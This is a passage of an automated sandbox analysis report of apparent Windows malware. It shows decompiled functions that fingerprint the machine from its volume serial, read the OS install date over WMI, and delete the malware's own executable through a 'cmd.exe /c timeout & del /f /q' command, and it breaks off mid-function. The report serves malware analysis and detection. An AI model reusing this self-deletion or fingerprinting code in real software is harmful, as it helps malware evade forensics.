Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: Internet$File$CloseHandle_memset$OpenRead$CrackCreateHttpInfoQuerySleepWritelstrlen
String ID: 200$https
API String ID: 107165592-2945048398
Opcode ID: ba7652e8e82b4dfa86790bed0903d7830bdd6c75a8fc741bb6862e912fdcead9
Instruction ID: a64bf778696d2bdbaa4872cbf830b0d1fafaaba8c52da58de8d622e29e3fd1ff
Opcode Fuzzy Hash: ba7652e8e82b4dfa86790bed0903d7830bdd6c75a8fc741bb6862e912fdcead9
Instruction Fuzzy Hash: 2E417C71640718BBE7219F21DC49FEF7778AB44B47F0041A9B605E6180EBB49B808F68

Uniqueness

Uniqueness Score: -1.00%

Function 0041E580 Relevance: 26.6, APIs: 11, Strings: 4, Instructions: 351
memoryCOMMON

Download Yara Rule

C-Code - Quality: 72%

			E0041E580(CHAR** __edi) {
				char _v8;
				char _v16;
				signed int _v20;
				char _v284;
				CHAR* _v292;
				long _v296;
				signed char* _v312;
				signed int _v315;
				signed int _v316;
				signed int _v317;
				signed int _v318;
				CHAR* _v320;
				signed int _v324;
				signed short _v340;
				CHAR* _v348;
				signed short _v352;
				signed short _v368;
				CHAR* _v376;
				signed short _v380;
				signed short _v396;
				CHAR* _v404;
				signed short _v408;
				signed short _v424;
				CHAR* _v432;
				signed short _v436;
				signed short _v452;
				intOrPtr _v460;
				CHAR* _v480;
				long _v484;
				char _v485;
				short _v487;
				char _v488;
				long _v492;
				void* __ebx;
				void* __esi;
				signed int _t125;
				signed int _t126;
				signed int _t134;
				signed int _t136;
				signed int _t144;
				signed int _t146;
				signed int _t148;
				signed int _t150;
				CHAR* _t156;
				void* _t159;
				CHAR* _t162;
				void* _t163;
				void* _t165;
				void* _t166;
				void* _t167;
				intOrPtr* _t169;
				CHAR* _t196;
				CHAR* _t197;
				CHAR* _t199;
				signed int _t205;
				signed char* _t206;
				signed char** _t207;
				signed short _t208;
				void* _t209;
				signed char* _t214;
				signed char* _t215;
				CHAR** _t240;
				CHAR* _t243;
				signed char* _t244;
				intOrPtr* _t249;
				void* _t250;
				CHAR* _t251;
				signed int _t252;
				void* _t253;
				void* _t254;
				void* _t255;
				void* _t256;

				_t240 = __edi;
				_push(0xffffffff);
				_push(E0043E11D);
				_push( *[fs:0x0]);
				_t254 = _t253 - 0x1dc;
				_t125 =  *0x450664; // 0x30e242aa
				_t126 = _t125 ^ _t252;
				_v20 = _t126;
				_push(_t126);
				 *[fs:0x0] =  &_v16;
				_v484 = 0;
				_v492 = 0;
				_v292 = 0xf;
				_v296 = 0;
				_v312 = 0;
				_v8 = 0;
				if(GetWindowsDirectoryA( &_v284, 0x104) == 0) {
					_v284 = 0x43;
				}
				_t234 =  &_v492;
				_v488 = _v284;
				_v487 = 0x5c3a;
				_v485 = 0;
				GetVolumeInformationA( &_v488, 0, 0,  &_v492, 0, 0, 0, 0); // executed
				_t134 = _v492 * 0x14a30b - 0x69427551;
				_t205 = _t134;
				_t136 = _t134 * 0x14a30b - 0x69427551;
				_v324 = _t136;
				_t144 = (((_t136 * 0x14a30b - 0x69427551) * 0x14a30b - 0x69427551) * 0x14a30b - 0x69427551) * 0x14a30b - 0x69427551;
				_v318 = _t144;
				_t146 = _t144 * 0x14a30b - 0x69427551;
				_v317 = _t146;
				_t148 = _t146 * 0x14a30b - 0x69427551;
				_v316 = _t148;
				_t150 = _t148 * 0x14a30b - 0x69427551;
				_v315 = _t150;
				_v492 = (_t150 * 0x14a30b - 0x69427551) * 0x14a30b - 0x69427551;
				_t156 = RtlAllocateHeap(GetProcessHeap(), 0, 0x104);
				_t243 = _t156;
				if(_t243 != 0) {
					wsprintfA(_t243, "%08lX%04lX%lu-", _t205, _v324 & 0x0000ffff, _v318);
					_t159 = L00429C90(_t243);
					_t255 = _t254 + 0x18;
					E00410B40(_t243,  &_v312, _t159);
					_t162 = _v292;
					_t244 = _v312;
					_t206 = _t244;
					if(_t162 >= 0x10) {
						_t214 = _t244;
					} else {
						_t206 =  &_v312;
						_t214 = _t206;
					}
					_t215 =  &(_t214[_v296]);
					_v484 = _t215;
					if(_t162 < 0x10) {
						_t244 =  &_v312;
					}
					if(_t244 == _t215) {
						L27:
						_t163 = E0041F0A0(_t206, _t240,  &_v480); // executed
						_v8 = 1;
						_v484 = L00410740(0x14, _t163,  &_v452, 0x11);
						_v8 = 2;
						_t165 = E0041F120(_t206, _t240,  &_v396); // executed
						_v8 = 3;
						_t166 = L00410740(0, _t165,  &_v424, 0x18);
						_t207 =  &_v312;
						_v8 = 4;
						_t167 = L0041FF30(_t166, _t207, _t166,  &_v368);
						_t234 =  &_v340;
						_v8 = 5;
						_t169 = L00405600(_v484, _t167,  &_v340);
						_t256 = _t255 + 8;
						_t249 = _t169;
						if(_t207 == _t249) {
							_t208 = 0;
						} else {
							if(_v292 >= 0x10) {
								_push(_v312);
								E00429B0B();
								_t256 = _t256 + 4;
							}
							_t208 = 0;
							_v292 = 0xf;
							_v296 = 0;
							_v312 = 0;
							if( *(_t249 + 0x14) >= 0x10) {
								_v312 =  *_t249;
								 *_t249 = 0;
							} else {
								E0042A2D0( &_v312, _t249,  *(_t249 + 0x10) + 1);
								_t256 = _t256 + 0xc;
							}
							_v296 =  *(_t249 + 0x10);
							_t234 =  *(_t249 + 0x14);
							_v292 =  *(_t249 + 0x14);
							 *(_t249 + 0x10) = _t208;
							 *(_t249 + 0x14) = _t208;
						}
						if(_v320 >= 0x10) {
							_push(_v340);
							E00429B0B();
							_t256 = _t256 + 4;
						}
						_v320 = 0xf;
						_v324 = _t208;
						_v340 = _t208;
						if(_v348 >= 0x10) {
							_push(_v368);
							E00429B0B();
							_t256 = _t256 + 4;
						}
						_v348 = 0xf;
						_v352 = _t208;
						_v368 = _t208;
						if(_v404 >= 0x10) {
							_t234 = _v424;
							_push(_v424);
							E00429B0B();
							_t256 = _t256 + 4;
						}
						_v404 = 0xf;
						_v408 = _t208;
						_v424 = _t208;
						if(_v376 >= 0x10) {
							_push(_v396);
							E00429B0B();
							_t256 = _t256 + 4;
						}
						_v376 = 0xf;
						_v380 = _t208;
						_v396 = _t208;
						if(_v432 >= 0x10) {
							_push(_v452);
							E00429B0B();
							_t256 = _t256 + 4;
						}
						_v432 = 0xf;
						_v436 = _t208;
						_v452 = _t208;
						if(_v460 >= 0x10) {
							_t234 = _v480;
							_push(_v480);
							E00429B0B();
							_t256 = _t256 + 4;
						}
						_t240[5] = 0xf;
						_t240[4] = _t208;
						 *_t240 = _t208;
						if(_t240 ==  &_v312) {
							if(_v292 < 0x10) {
								goto L57;
							}
							_push(_v312);
							L56:
							E00429B0B();
							goto L57;
						} else {
							if(_t240[5] >= 0x10) {
								_push( *_t240);
								E00429B0B();
								_t256 = _t256 + 4;
							}
							_t240[5] = 0xf;
							_t240[4] = _t208;
							 *_t240 = _t208;
							if(_v292 >= 0x10) {
								_t234 = _v296;
								 *_t240 = _v312;
								_t240[4] = _v296;
								_t240[5] = _v292;
							} else {
								E0042A2D0(_t240,  &_v312,  &(_v296[1]));
								_t234 = _v296;
								_t240[4] = _v296;
								_t240[5] = _v292;
							}
							L57:
							 *[fs:0x0] = _v16;
							_pop(_t250);
							_pop(_t209);
							return E00429B16(_t240, _t209, _v20 ^ _t252, _t234, _t240, _t250);
						}
					} else {
						_t206 = _t206 - _t244;
						do {
							_t244[_t206] = E0042D346( *_t244 & 0x000000ff);
							_t244 =  &(_t244[1]);
							_t255 = _t255 + 4;
						} while (_t244 != _v484);
						goto L27;
					}
				}
				_t240[5] = 0xf;
				_t240[4] = _t156;
				 *_t240 = _t156;
				_t251 = L00429C90(_t156);
				_t256 = _t254 + 4;
				if(_t251 > 0xfffffffe) {
					E00429010("string too long");
				}
				_t196 = _t240[5];
				if(_t196 >= _t251) {
					if(_t251 != 0) {
						goto L7;
					}
					_t240[4] = _t251;
					if(_t196 < 0x10) {
						 *_t240 = 0;
					} else {
						 *( *_t240) = 0;
					}
				} else {
					E004053F0(_t240, _t251, _t240[4]);
					if(_t251 == 0) {
						L18:
						if(_v292 < 0x10) {
							goto L57;
						}
						_t234 = _v312;
						_push(_v312);
						goto L56;
					}
					L7:
					if(_t240[5] < 0x10) {
						_t197 = _t240;
					} else {
						_t197 =  *_t240;
					}
					L00429D20(_t197, 0, _t251);
					_t256 = _t256 + 0xc;
					_t240[4] = _t251;
					if(_t240[5] < 0x10) {
						_t199 = _t240;
					} else {
						_t199 =  *_t240;
					}
					_t199[_t251] = 0;
				}
			}

0x0041e580
0x0041e583
0x0041e585
0x0041e590
0x0041e591
0x0041e597
0x0041e59c
0x0041e59e
0x0041e5a3
0x0041e5a7
0x0041e5af
0x0041e5b5
0x0041e5bb
0x0041e5c5
0x0041e5cb
0x0041e5de
0x0041e5e9
0x0041e5eb
0x0041e5eb
0x0041e5fc
0x0041e60c
0x0041e612
0x0041e61b
0x0041e622
0x0041e634
0x0041e639
0x0041e641
0x0041e646
0x0041e674
0x0041e679
0x0041e685
0x0041e68a
0x0041e696
0x0041e69b
0x0041e6a7
0x0041e6ac
0x0041e6ce
0x0041e6db
0x0041e6e1
0x0041e6e5
0x0041e79f
0x0041e7a6
0x0041e7ab
0x0041e7b7
0x0041e7bc
0x0041e7c2
0x0041e7c8
0x0041e7cd
0x0041e8ed
0x0041e7d3
0x0041e7d3
0x0041e7d9
0x0041e7d9
0x0041e7db
0x0041e7e1
0x0041e7ea
0x0041e7ec
0x0041e7ec
0x0041e7f4
0x0041e818
0x0041e81e
0x0041e832
0x0041e83b
0x0041e847
0x0041e84b
0x0041e85c
0x0041e860
0x0041e86e
0x0041e874
0x0041e878
0x0041e87f
0x0041e885
0x0041e890
0x0041e895
0x0041e898
0x0041e89e
0x0041e918
0x0041e8a0
0x0041e8a7
0x0041e8af
0x0041e8b0
0x0041e8b5
0x0041e8b5
0x0041e8b8
0x0041e8ba
0x0041e8c4
0x0041e8ca
0x0041e8d4
0x0041e8f6
0x0041e8fc
0x0041e8d6
0x0041e8e3
0x0041e8e8
0x0041e8e8
0x0041e901
0x0041e907
0x0041e90a
0x0041e910
0x0041e913
0x0041e913
0x0041e921
0x0041e929
0x0041e92a
0x0041e92f
0x0041e92f
0x0041e939
0x0041e943
0x0041e949
0x0041e94f
0x0041e957
0x0041e958
0x0041e95d
0x0041e95d
0x0041e967
0x0041e971
0x0041e977
0x0041e97d
0x0041e97f
0x0041e985
0x0041e986
0x0041e98b
0x0041e98b
0x0041e995
0x0041e99f
0x0041e9a5
0x0041e9ab
0x0041e9b3
0x0041e9b4
0x0041e9b9
0x0041e9b9
0x0041e9c3
0x0041e9cd
0x0041e9d3
0x0041e9d9
0x0041e9e1
0x0041e9e2
0x0041e9e7
0x0041e9e7
0x0041e9f1
0x0041e9fb
0x0041ea01
0x0041ea07
0x0041ea09
0x0041ea0f
0x0041ea10
0x0041ea15
0x0041ea15
0x0041ea1e
0x0041ea25
0x0041ea28
0x0041ea2c
0x0041eaa3
0x00000000
0x00000000
0x0041eaab
0x0041eaac
0x0041eaac
0x00000000
0x0041ea2e
0x0041ea32
0x0041ea36
0x0041ea37
0x0041ea3c
0x0041ea3c
0x0041ea3f
0x0041ea46
0x0041ea49
0x0041ea52
0x0041ea86
0x0041ea92
0x0041ea94
0x0041ea97
0x0041ea54
0x0041ea64
0x0041ea69
0x0041ea78
0x0041ea7b
0x0041ea7b
0x0041eab4
0x0041eab9
0x0041eac1
0x0041eac2
0x0041ead0
0x0041ead0
0x0041e7f6
0x0041e7f6
0x0041e800
0x0041e809
0x0041e80c
0x0041e80d
0x0041e810
0x00000000
0x0041e800
0x0041e7f4
0x0041e6eb
0x0041e6f2
0x0041e6f6
0x0041e6fd
0x0041e6ff
0x0041e705
0x0041e70c
0x0041e70c
0x0041e711
0x0041e716
0x0041e738
0x00000000
0x00000000
0x0041e73a
0x0041e740
0x0041e74b
0x0041e742
0x0041e744
0x0041e744
0x0041e718
0x0041e71f
0x0041e726
0x0041e770
0x0041e777
0x00000000
0x00000000
0x0041e77d
0x0041e783
0x00000000
0x0041e783
0x0041e728
0x0041e730
0x0041e750
0x0041e732
0x0041e732
0x0041e732
0x0041e756
0x0041e75b
0x0041e75e
0x0041e764
0x0041e76a
0x0041e766
0x0041e766
0x0041e766
0x0041e76c
0x0041e76c

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104,30E242AA,00000010), ref: 0041E5E1
GetVolumeInformationA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041E622
GetProcessHeap.KERNEL32(00000000,00000104), ref: 0041E6D4
RtlAllocateHeap.NTDLL(00000000), ref: 0041E6DB
_strlen.LIBCMT ref: 0041E6F8
std::_Xinvalid_argument.LIBCPMT ref: 0041E70C
_memmove.LIBCMT ref: 0041E756
wsprintfA.USER32 ref: 0041E79F
_strlen.LIBCMT ref: 0041E7A6
_memmove.LIBCMT ref: 0041E8E3

Strings

%08lX%04lX%lu-, xrefs: 0041E799
string too long, xrefs: 0041E707
:\, xrefs: 0041E612
C, xrefs: 0041E5EB

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: Heap_memmove_strlen$AllocateDirectoryInformationProcessVolumeWindowsXinvalid_argumentstd::_wsprintf
String ID: %08lX%04lX%lu-$:\$C$string too long
API String ID: 3082119446-3491094078
Opcode ID: 91d0f120a08fa73574b20859be24166a67db4be3ebb4aa9e66d011c06b64bb22
Instruction ID: 1ae51d0cc8127fd494b0dc59a313cf9be51e131a600718029ecb89014118e5bf
Opcode Fuzzy Hash: 91d0f120a08fa73574b20859be24166a67db4be3ebb4aa9e66d011c06b64bb22
Instruction Fuzzy Hash: A6E1ADB4A052649BDB25DF29CD407DABBB4BF19300F4001EAD849A7241D774AFC4CF9A

Uniqueness

Uniqueness Score: -1.00%

Function 00420AA0 Relevance: 26.3, APIs: 11, Strings: 4, Instructions: 89
stringCOMMON

Download Yara Rule

C-Code - Quality: 69%

			E00420AA0() {
				int _v8;
				char _v16;
				signed int _v20;
				char _v280;
				intOrPtr _v288;
				int _v292;
				char _v308;
				int _v336;
				int _v340;
				int _v344;
				CHAR* _v348;
				CHAR* _v352;
				CHAR* _v356;
				int _v360;
				int _v364;
				char _v368;
				signed int _t32;
				signed int _t33;
				CHAR* _t42;
				signed int _t63;
				void* _t64;
				void* _t67;

				_push(0xffffffff);
				_push(0x43dc3b);
				_push( *[fs:0x0]);
				_t32 =  *0x450664; // 0x30e242aa
				_t33 = _t32 ^ _t63;
				_v20 = _t33;
				_push(_t33);
				 *[fs:0x0] =  &_v16;
				L00429B30( &_v280, 0, 0x104);
				L00429B30( &_v368, 0, 0x3c);
				lstrcatA( &_v280, "/c ");
				lstrcatA( &_v280, "timeout /t 6 & del /f /q \"");
				_t42 = E004207F0(0,  &_v308, GetCurrentProcessId()); // executed
				_t67 = _t64 - 0x160 + 0x1c;
				_v8 = 0;
				if(_t42[0x14] >= 0x10) {
					_t42 =  *_t42;
				}
				lstrcatA( &_v280, _t42);
				_v8 = 0xffffffff;
				if(_v288 >= 0x10) {
					_push(_v308);
					E00429B0B();
					_t67 = _t67 + 4;
				}
				_v288 = 0xf;
				_v292 = 0;
				_v308 = 0;
				lstrcatA( &_v280, "\" & exit");
				_v368 = 0x3c;
				_v364 = 0;
				_v360 = 0;
				_v356 = "open";
				_v352 = "C:\\Windows\\System32\\cmd.exe";
				_v348 =  &_v280;
				_v344 = 0;
				_v340 = 0;
				_v336 = 0;
				 *0x453544( &_v368); // executed
				L00429B30( &_v368, 0, 0x3c);
				L00429B30( &_v280, 0, 0x104);
				ExitProcess(0);
			}

0x00420aa3
0x00420aa5
0x00420ab0
0x00420ab7
0x00420abc
0x00420abe
0x00420ac3
0x00420ac7
0x00420adc
0x00420aeb
0x00420aff
0x00420b11
0x00420b24
0x00420b29
0x00420b31
0x00420b37
0x00420b39
0x00420b39
0x00420b43
0x00420b49
0x00420b56
0x00420b5e
0x00420b5f
0x00420b64
0x00420b64
0x00420b73
0x00420b7d
0x00420b83
0x00420b89
0x00420b9c
0x00420ba6
0x00420bac
0x00420bb2
0x00420bbc
0x00420bc6
0x00420bcc
0x00420bd2
0x00420bd8
0x00420bde
0x00420bee
0x00420c00
0x00420c09

APIs

_memset.LIBCMT ref: 00420ADC
_memset.LIBCMT ref: 00420AEB
lstrcatA.KERNEL32(?,/c ,?,?,?,30E242AA,00000010,00000000), ref: 00420AFF
lstrcatA.KERNEL32(?,timeout /t 6 & del /f /q ",?,?,?,30E242AA,00000010,00000000), ref: 00420B11
GetCurrentProcessId.KERNEL32(?,?,?,30E242AA,00000010,00000000), ref: 00420B17

Part of subcall function 004207F0: OpenProcess.KERNEL32(00000410,00000000,G@,00000010), ref: 00420819
Part of subcall function 004207F0: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00420834
Part of subcall function 004207F0: CloseHandle.KERNEL32(00000000), ref: 0042083B
Part of subcall function 004207F0: _strlen.LIBCMT ref: 00420859

lstrcatA.KERNEL32(?,00000000,?,?,?,?,30E242AA,00000010,00000000), ref: 00420B43
lstrcatA.KERNEL32(?," & exit,?,?,?,?,30E242AA,00000010,00000000), ref: 00420B89
ShellExecuteEx.SHELL32(30E242AA), ref: 00420BDE
_memset.LIBCMT ref: 00420BEE
_memset.LIBCMT ref: 00420C00
ExitProcess.KERNEL32 ref: 00420C09

Strings

/c , xrefs: 00420AF3
<, xrefs: 00420B9C
" & exit, xrefs: 00420B67
timeout /t 6 & del /f /q ", xrefs: 00420B05

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: _memsetlstrcat$Process$CloseCurrentExecuteExitFileHandleModuleNameOpenShell_strlen
String ID: " & exit$/c $<$timeout /t 6 & del /f /q "
API String ID: 1131015312-3134388280
Opcode ID: 4db0a190af0a536fdf45985a3aef2a264677beec2f2cbc9d01553c3860dee410
Instruction ID: 7dc0bcc6b205a16d27839eed720daed616e65ece1d1bf4f2deae450302d50cc7
Opcode Fuzzy Hash: 4db0a190af0a536fdf45985a3aef2a264677beec2f2cbc9d01553c3860dee410
Instruction Fuzzy Hash: E43181B1C0032CAFDB21DF51DD85BDABB78FB05745F4001EAA109A6241D7799B44CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040A7C0 Relevance: 25.6, APIs: 17, Instructions: 131memorystringCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0000EA60), ref: 0040A7CE
RtlAllocateHeap.NTDLL(00000000), ref: 0040A7D5
lstrcatA.KERNEL32(00000000,?), ref: 0040A7E2
StrCmpCA.SHLWAPI(00000000,0044A7FC), ref: 0040A834
StrCmpCA.SHLWAPI(00000000,0044A7FC), ref: 0040A853
StrCmpCA.SHLWAPI(00000000,0044A7FC), ref: 0040A872
StrCmpCA.SHLWAPI(00000000,0044A7FC), ref: 0040A891
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 0040A8B1
RtlAllocateHeap.NTDLL(00000000), ref: 0040A8B8
StrCmpCA.SHLWAPI(00000000,0044A7FC), ref: 0040A8CE
StrCmpCA.SHLWAPI(00000000,0044A7FC), ref: 0040A8ED
StrCmpCA.SHLWAPI(00000000,0044A7FC), ref: 0040A905
StrCmpCA.SHLWAPI(00000000,0044A7FC), ref: 0040A91D
StrCmpCA.SHLWAPI(00000000,0044A7FC), ref: 0040A935
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 0040A94E
RtlAllocateHeap.NTDLL(00000000), ref: 0040A955
lstrcatA.KERNEL32(00000000,00000000), ref: 0040A962

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcess$lstrcat
String ID:
API String ID: 633743336-0
Opcode ID: 707c510376c3cffe225b46e11081c3c0cac915270a9642cef407b9c050eb93a5
Instruction ID: 117206ec3bd4e471e0f795002e068b9a5302bb7437fa35f54f456037759590a4
Opcode Fuzzy Hash: 707c510376c3cffe225b46e11081c3c0cac915270a9642cef407b9c050eb93a5
Instruction Fuzzy Hash: 74419171385305BBD3215F306C49A6B3A68AE11B87B158436F441F3292E638C721876F

Uniqueness

Uniqueness Score: -1.00%

Function 0041FA50 Relevance: 21.2, APIs: 6, Strings: 6, Instructions: 175
memorytimeCOMMON

Download Yara Rule

C-Code - Quality: 36%

			E0041FA50() {
				char _v8;
				char _v16;
				intOrPtr _v20;
				signed int _v24;
				struct _SYSTEMTIME _v40;
				intOrPtr _v48;
				long _v52;
				char _v68;
				void* _v72;
				void* _v76;
				void* _v80;
				void* _v84;
				char _v88;
				intOrPtr _v100;
				char _v108;
				char _v116;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t48;
				signed int _t49;
				intOrPtr* _t52;
				void* _t54;
				CHAR* _t55;
				intOrPtr* _t57;
				void* _t58;
				intOrPtr* _t59;
				intOrPtr* _t63;
				void* _t75;
				void* _t77;
				intOrPtr _t94;
				void* _t100;
				void* _t101;
				void* _t102;
				void* _t103;
				FILETIME* _t104;
				CHAR* _t105;
				signed int _t106;
				void* _t107;

				_t48 =  *0x450664; // 0x30e242aa
				_t49 = _t48 ^ _t106;
				_v24 = _t49;
				 *[fs:0x0] =  &_v16;
				_v20 = _t107 - 0x64;
				_v8 = 0;
				__imp__CoInitializeEx(0, 0, _t49, _t100, _t102, _t75,  *[fs:0x0], E0043D970, 0xffffffff);
				__imp__CoInitializeSecurity(0, 0xffffffff, 0, 0, 0, 3, 0, 0, 0); // executed
				_v84 = 0;
				__imp__CoCreateInstance(0x4404e8, 0, 1, 0x440418,  &_v84); // executed
				_t52 = _v84;
				_t93 =  &_v72;
				_v72 = 0;
				_t54 =  *((intOrPtr*)( *((intOrPtr*)( *_t52 + 0xc))))(_t52, L"ROOT\\CIMV2", 0, 0, 0, 0, 0, 0,  &_v72); // executed
				if(_t54 < 0) {
					L7:
					_t55 = "Unknown";
					L8:
					 *[fs:0x0] = _v16;
					_pop(_t101);
					_pop(_t103);
					_pop(_t77);
					return E00429B16(_t55, _t77, _v24 ^ _t106, _t93, _t101, _t103);
				}
				__imp__CoSetProxyBlanket(_v72, 0xa, 0, 0, 3, 3, 0, 0); // executed
				_t57 = _v72;
				_v80 = 0;
				_t94 =  *_t57;
				_t93 =  *(_t94 + 0x50);
				_t58 =  *( *(_t94 + 0x50))(_t57, L"WQL", L"Select * From Win32_OperatingSystem", 0x20, 0,  &_v80); // executed
				if(_t58 < 0) {
					goto L7;
				}
				_v76 = 0;
				_v88 = 0;
				_v48 = 0xf;
				_v52 = 0;
				_v68 = 0;
				_v8 = 1;
				_t59 = _v80;
				if(_t59 == 0) {
					goto L7;
				}
				_t93 =  &_v76;
				 *((intOrPtr*)( *((intOrPtr*)( *_t59 + 0x10))))(_t59, 0xffffffff, 1,  &_v76,  &_v88); // executed
				if(_v88 == 0) {
					if(_v48 >= 0x10) {
						_push(_v68);
						E00429B0B();
					}
					goto L7;
				}
				__imp__#8( &_v108);
				_v8 = 2;
				_t63 = _v76;
				 *((intOrPtr*)( *((intOrPtr*)( *_t63 + 0x10))))(_t63, L"InstallDate", 0,  &_v108, 0, 0); // executed
				_t104 =  &_v116;
				E0041F9B0(_t104, _v100); // executed
				FileTimeToSystemTime(_t104,  &_v40);
				_t105 = RtlAllocateHeap(GetProcessHeap(), 0, 0x104);
				_t93 = _v40.wDay & 0x0000ffff;
				wsprintfA(_t105, "%d/%d/%d %d:%d:%d", _v40.wDay & 0x0000ffff, _v40.wMonth & 0x0000ffff, _v40.wYear & 0x0000ffff, _v40.wHour & 0x0000ffff, _v40.wMinute & 0x0000ffff, _v40.wSecond & 0x0000ffff);
				__imp__#9( &_v108);
				E00405010( &_v68);
				_t55 = _t105;
				goto L8;
			}

0x0041fa64
0x0041fa69
0x0041fa6b
0x0041fa75
0x0041fa7b
0x0041fa82
0x0041fa85
0x0041fa96
0x0041faad
0x0041fab0
0x0041fab6
0x0041fab9
0x0041fac3
0x0041fad1
0x0041fad5
0x0041fc00
0x0041fc00
0x0041fc05
0x0041fc08
0x0041fc10
0x0041fc11
0x0041fc12
0x0041fc20
0x0041fc20
0x0041fae9
0x0041faef
0x0041fafe
0x0041fb01
0x0041fb03
0x0041fb0c
0x0041fb10
0x00000000
0x00000000
0x0041fb16
0x0041fb19
0x0041fb1c
0x0041fb23
0x0041fb26
0x0041fb29
0x0041fb2d
0x0041fb32
0x00000000
0x00000000
0x0041fb3e
0x0041fb4a
0x0041fb4f
0x0041fbf2
0x0041fbf7
0x0041fbf8
0x0041fbfd
0x00000000
0x0041fbf2
0x0041fb59
0x0041fb65
0x0041fb69
0x0041fb78
0x0041fb7e
0x0041fb81
0x0041fb90
0x0041fbb1
0x0041fbc2
0x0041fbcf
0x0041fbdc
0x0041fbe5
0x0041fbea
0x00000000

APIs

VariantInit.OLEAUT32(?), ref: 0041FB59

Part of subcall function 0041F9B0: SysAllocString.OLEAUT32(0041FB86), ref: 0041F9DC
Part of subcall function 0041F9B0: SysFreeString.OLEAUT32(0041FB86), ref: 0041FA2E
Part of subcall function 0041F9B0: SysFreeString.OLEAUT32(?), ref: 0041FA34

FileTimeToSystemTime.KERNEL32(?,?), ref: 0041FB90
GetProcessHeap.KERNEL32 ref: 0041FB96
RtlAllocateHeap.NTDLL(00000000,00000000,00000104), ref: 0041FBA3
wsprintfA.USER32 ref: 0041FBCF
VariantClear.OLEAUT32(?), ref: 0041FBDC

Strings

Unknown, xrefs: 0041FC00
%d/%d/%d %d:%d:%d, xrefs: 0041FBC9
InstallDate, xrefs: 0041FB72
Select * From Win32_OperatingSystem, xrefs: 0041FAF9
ROOT\CIMV2, xrefs: 0041FAC8
WQL, xrefs: 0041FB06

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: String$FreeHeapTimeVariant$AllocAllocateClearFileInitProcessSystemwsprintf
String ID: %d/%d/%d %d:%d:%d$InstallDate$ROOT\CIMV2$Select * From Win32_OperatingSystem$Unknown$WQL
API String ID: 3416301519-271508173
Opcode ID: cd3a9bebce33d94bf930dc9c9b957b61a345d78944737f42a83f8d389571f6ac
Instruction ID: c952c1124e4bb70cb5c608be26332c2635726fcb7c35c3ee28670bee53dda6ae
Opcode Fuzzy Hash: cd3a9bebce33d94bf930dc9c9b957b61a345d78944737f42a83f8d389571f6ac
Instruction Fuzzy Hash: E3516BB1A00218AFEB10DFE5DC85EAEB7BCFB48705F10412AF505A7291D778AD45CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 0040E180 Relevance: 21.2, APIs: 7, Strings: 5, Instructions: 159
stringnetworkCOMMON

Download Yara Rule

C-Code - Quality: 40%

			E0040E180(CHAR* _a4, CHAR* _a20, intOrPtr _a24, char _a32, intOrPtr _a52) {
				char _v8;
				char _v16;
				signed int _v20;
				char _v84;
				intOrPtr _v92;
				CHAR* _v96;
				char _v112;
				intOrPtr _v120;
				CHAR* _v124;
				char _v140;
